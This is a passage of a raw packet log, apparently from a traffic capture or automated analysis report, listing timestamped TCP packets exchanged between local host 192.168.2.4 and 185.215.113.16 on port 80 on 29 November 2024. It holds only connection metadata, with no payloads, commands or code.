Nov 29, 2024 20:07:40.916405916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.916950941 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.916992903 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.917172909 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.917238951 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.917691946 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.917777061 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.918001890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.918041945 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.918422937 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.918701887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.918757915 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.919205904 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.919250965 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.919301987 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.919372082 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.919847012 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.920026064 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.920073986 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.920572996 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.920629025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.920689106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.920743942 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.921323061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.921379089 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.921395063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.921426058 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.921999931 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.922110081 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.922151089 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.922151089 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.922723055 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.922843933 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.922898054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.923437119 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.923491001 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.923706055 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.923748016 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.924171925 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.924246073 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.924277067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.924349070 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.924894094 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.924993992 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.925024033 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.925081968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.925586939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.925645113 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.925718069 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.925766945 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.926371098 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.926445961 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.926511049 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.927063942 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.927124023 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.927297115 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.927335024 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.927771091 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.927854061 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.927887917 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.927932024 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.928491116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.928546906 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.928565979 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.928607941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.929207087 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.929266930 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.929316998 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.929470062 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.929963112 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.930061102 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.930078030 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.930172920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.930654049 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.930763006 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.930924892 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.931377888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.931427956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.931489944 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.931588888 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.932102919 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.932164907 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.932188988 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.932203054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.932832003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.932889938 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.932914019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.932969093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.933537960 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.933609962 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.933635950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.933691978 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.934350014 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.934402943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.934422016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.935002089 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.935051918 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.935154915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.935236931 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.935750008 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.935796976 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.935816050 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.935842991 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.090356112 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.090446949 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.090502977 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.090531111 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.090572119 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.090646982 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.090687990 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.091259956 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.091310024 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.091393948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.091432095 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.092128992 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.092169046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.092233896 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.092268944 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.092539072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.092578888 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.092655897 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.092695951 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.093203068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.093244076 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.093331099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.093372107 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.094062090 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.094104052 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.094109058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.094155073 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.094954014 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.095010042 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.095051050 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.095668077 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.095716000 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.095727921 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.095769882 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.096280098 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.096292019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.096322060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.096340895 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.096864939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.097016096 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.097060919 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.097551107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.097594976 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.097687006 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.097727060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.098294020 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.098335981 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.098460913 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.098505020 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.098989964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.099035025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.099090099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.099131107 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.099704981 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.099745989 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.099827051 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.099864960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.100424051 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.100467920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.100527048 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.100567102 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.101232052 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.101289988 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.101387024 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.101430893 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.101881027 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.101934910 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.101995945 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.102042913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.102637053 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.102679014 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.102730989 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.102766991 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.103362083 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.103418112 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.103447914 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.103507042 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.104043007 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.104080915 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.104163885 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.104219913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.104768991 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.104809999 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.104888916 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.104928017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.105515957 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.105560064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.105659008 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.105701923 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.106214046 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.106278896 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.106308937 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.106385946 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.106909037 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.106956959 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.107052088 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.107094049 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.107665062 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.107711077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.107743979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.107786894 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.108371973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.108412027 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.108468056 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.108511925 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.109098911 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.109134912 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.109136105 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.109170914 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.109855890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.109901905 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.109968901 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.110013962 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.110573053 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.110676050 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.110718012 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.111301899 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.111345053 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.111375093 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.111419916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.112034082 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.112078905 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.112107992 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.112152100 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.112709045 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.112750053 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.112807989 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.112848043 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.113497019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.113590956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.113737106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.113780975 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.114160061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.114208937 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.114289045 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.114335060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.114927053 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.114973068 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.114981890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.115015984 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.115587950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.115633965 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.115659952 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.115730047 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.116334915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.116384029 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.116514921 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.116708994 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.117069960 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.117109060 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.117198944 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.117238998 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.117757082 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.117815971 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.117845058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.117891073 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.118467093 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.118515968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.118572950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.118645906 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.119210958 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.119256973 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.119271994 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.119309902 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.119940042 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.119982004 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.120079041 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.120121956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.120698929 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.120774984 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.120794058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.120832920 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.121355057 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.121448040 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.121504068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.121546030 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.122086048 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.122173071 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.122203112 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.122275114 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.122809887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.122854948 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.122944117 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.122994900 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.123598099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.123655081 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.123681068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.123764992 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.124265909 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.124315023 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.124403954 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.124447107 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.125040054 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.125091076 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.125168085 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.125205994 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.125834942 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.125880003 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.125962973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.126005888 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.126534939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.126580000 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.126633883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.126671076 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.127140045 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.127177954 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.127250910 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.127288103 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.127846956 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.127897024 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.127919912 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.127985001 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.282517910 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.282562017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.282598972 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.282639980 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.282813072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.282866955 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.282877922 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.282922983 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.283576965 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.283718109 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.283756018 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.283823013 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.284288883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.284343004 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.284496069 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.284532070 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.284667969 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.284713030 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.285235882 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.285279036 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.285340071 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.285381079 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.285970926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:41.286016941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:41.286082029 CET	80	50071	185.215.113.16	192.168.2.4
